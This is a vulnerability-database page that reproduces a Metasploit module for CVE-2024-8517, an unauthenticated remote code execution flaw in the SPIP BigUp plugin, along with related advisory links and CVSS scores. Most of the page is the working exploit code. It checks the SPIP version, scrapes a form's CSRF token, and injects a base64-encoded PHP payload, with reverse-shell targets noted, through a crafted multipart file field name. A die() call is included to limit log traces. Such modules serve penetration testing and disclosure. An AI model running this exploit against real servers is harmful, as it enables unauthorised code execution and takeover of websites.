Lucene search
K

SPIP BigUp 4.3.1 / 4.2.15 / 4.1.17 Unauthenticated Remote Code Execution Exploit

🗓️ 14 Sep 2024 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 749 Views

SPIP BigUp plugin RCE vulnerability in versions 4.3.1, 4.2.15, 4.1.1

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Reliance on File Name or Extension of Externally-Supplied File in Spip
1 Aug 202511:14
githubexploit
GithubExploit
eCPPT-Penetration-Testing-Reports
3 Jun 202600:02
githubexploit
GithubExploit
Exploit for Reliance on File Name or Extension of Externally-Supplied File in Spip
6 Sep 202418:17
githubexploit
Information Security Automation
March Linux Patch Wednesday
20 Mar 202520:49
avleonov
Circl
CVE-2024-8517
6 Sep 202419:06
circl
CNNVD
SPIP 安全漏洞
6 Sep 202400:00
cnnvd
CVE
CVE-2024-8517
6 Sep 202415:55
cve
Cvelist
CVE-2024-8517 SPIP Bigup Multipart File Upload OS Command Injection
6 Sep 202415:55
cvelist
Debian CVE
CVE-2024-8517
6 Sep 202415:55
debiancve
Metasploit
SPIP BigUp Plugin Unauthenticated RCE
11 Sep 202418:54
metasploit
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Spip
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SPIP BigUp Plugin Unauthenticated RCE',
        'Description' => %q{
          This module exploits a Remote Code Execution vulnerability in the BigUp plugin of SPIP.
          The vulnerability lies in the `lister_fichiers_par_champs` function, which is triggered
          when the `bigup_retrouver_fichiers` parameter is set to any value. By exploiting the improper
          handling of multipart form data in file uploads, an attacker can inject and execute
          arbitrary PHP code on the target server.

          This critical vulnerability affects all versions of SPIP from 4.0 up to and including
          4.3.1, 4.2.15, and 4.1.17. It allows unauthenticated users to execute arbitrary code
          remotely via the public interface. The vulnerability has been patched in versions
          4.3.2, 4.2.16, and 4.1.18.
        },
        'Author' => [
          'Vozec',            # Vulnerability Discovery
          'Laluka',           # Vulnerability Discovery
          'Julien Voisin',    # Code Review
          'Valentin Lobstein' # Metasploit Module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-8517'],
          ['URL', 'https://thinkloveshare.com/hacking/spip_preauth_rce_2024_part_2_a_big_upload/'],
          ['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-2-SPIP-4-2-16-SPIP-4-1-18.html']
        ],
        'Platform' => %w[php unix linux win],
        'Arch' => %w[ARCH_PHP ARCH_CMD],
        'Targets' => [
          [
            'PHP In-Memory', {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix/Linux Command Shell', {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command Shell', {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2024-09-06',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options(
      [
        OptString.new('FORM_PAGE', [true, 'A page with a form.', 'Auto'])
      ]
    )
  end

  def check
    rversion = spip_version || spip_plugin_version('spip')
    return Exploit::CheckCode::Unknown('Unable to determine the version of SPIP') unless rversion

    print_status("SPIP Version detected: #{rversion}")

    vulnerable_ranges = [
      { start: Rex::Version.new('4.0.0'), end: Rex::Version.new('4.1.17') },
      { start: Rex::Version.new('4.2.0'), end: Rex::Version.new('4.2.15') },
      { start: Rex::Version.new('4.3.0'), end: Rex::Version.new('4.3.1') }
    ]

    is_vulnerable = vulnerable_ranges.any? { |range| rversion.between?(range[:start], range[:end]) }

    unless is_vulnerable
      return CheckCode::Safe("The detected SPIP version (#{rversion}) is not vulnerable.")
    end

    print_good("SPIP version #{rversion} is vulnerable.")
    plugin_version = spip_plugin_version('bigup')

    unless plugin_version
      print_warning('Could not determine the version of the bigup plugin.')
      return CheckCode::Appears("The detected SPIP version (#{rversion}) is vulnerable.")
    end

    print_status("Bigup plugin version detected: #{plugin_version}")
    if plugin_version < Rex::Version.new('3.2.12')
      return CheckCode::Appears("Both the detected SPIP version (#{rversion}) and bigup version (#{plugin_version}) are vulnerable.")
    end

    CheckCode::Appears("The detected SPIP version (#{rversion}) is vulnerable.")
  end

  # This function tests several pages to find a form with a valid CSRF token and its corresponding action.
  # It allows the user to specify a URL via the FORM_PAGE option (e.g., spip.php?article1).
  # We need to check multiple pages because the configuration of SPIP can vary.
  def get_form_data
    pages = %w[login spip_pass contact]

    if datastore['FORM_PAGE']&.downcase != 'auto'
      pages = [datastore['FORM_PAGE']]
    end

    pages.each do |page|
      url = normalize_uri(target_uri.path, page.start_with?('/') ? page : "spip.php?page=#{page}")
      res = send_request_cgi('method' => 'GET', 'uri' => url)

      next unless res&.code == 200

      doc = res.get_html_document
      action = doc.at_xpath("//input[@name='formulaire_action']/@value")&.text
      args = doc.at_xpath("//input[@name='formulaire_action_args']/@value")&.text

      next unless action && args

      print_status("Found formulaire_action: #{action}")
      print_status("Found formulaire_action_args: #{args[0..20]}...")
      return { action: action, args: args }
    end

    nil
  end

  # This function generates PHP code to execute a given payload on the target.
  # We use Rex::RandomIdentifier::Generator to create a random variable name to avoid conflicts.
  # The payload is encoded in base64 to prevent issues with special characters.
  # The generated PHP code includes the necessary preamble and system block to execute the payload.
  # This approach allows us to test multiple functions and not limit ourselves to potentially dangerous functions like 'system' which might be disabled.
  def php_exec_cmd(encoded_payload)
    vars = Rex::RandomIdentifier::Generator.new
    dis = "$#{vars[:dis]}"
    encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
    <<-END_OF_PHP_CODE
              #{php_preamble(disabled_varname: dis)}
              $c = base64_decode("#{encoded_clean_payload}");
              #{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
    END_OF_PHP_CODE
  end

  def exploit
    form_data = get_form_data

    unless form_data
      fail_with(Failure::NotFound, 'Could not retrieve formulaire_action or formulaire_action_args value from any page.')
    end

    print_status('Preparing to send exploit payload to the target...')

    phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
    b64_payload = framework.encoders.create('php/base64').encode(phped_payload).gsub(';', '')

    post_data = Rex::MIME::Message.new

    # This line is necessary for the form to be valid, works in tandem with formulaire_action_args
    post_data.add_part(form_data[:action], nil, nil, 'form-data; name="formulaire_action"')

    # This value is necessary for $_FILES to be used and for the bigup plugin to be "activated" for this request, thus triggering the vulnerability
    post_data.add_part(Rex::Text.rand_text_alphanumeric(4, 8), nil, nil, 'form-data; name="bigup_retrouver_fichiers"')

    # Injection is performed here. The die() function is used to avoid leaving traces in the logs,
    # prevent errors, and stop the execution of PHP after the injection.
    post_data.add_part('', nil, nil, "form-data; name=\"#{Rex::Text.rand_text_alphanumeric(4, 8)}['.#{b64_payload}.die().']\"; filename=\"#{Rex::Text.rand_text_alphanumeric(4, 8)}\"")

    # This is necessary for the form to be accepted
    post_data.add_part(form_data[:args], nil, nil, 'form-data; name="formulaire_action_args"')

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'spip.php'),
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s
    }, 1)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Sep 2024 00:00Current
8.4High risk
Vulners AI Score8.4
CVSS 3.19.8
EPSS0.94618
SSVC
749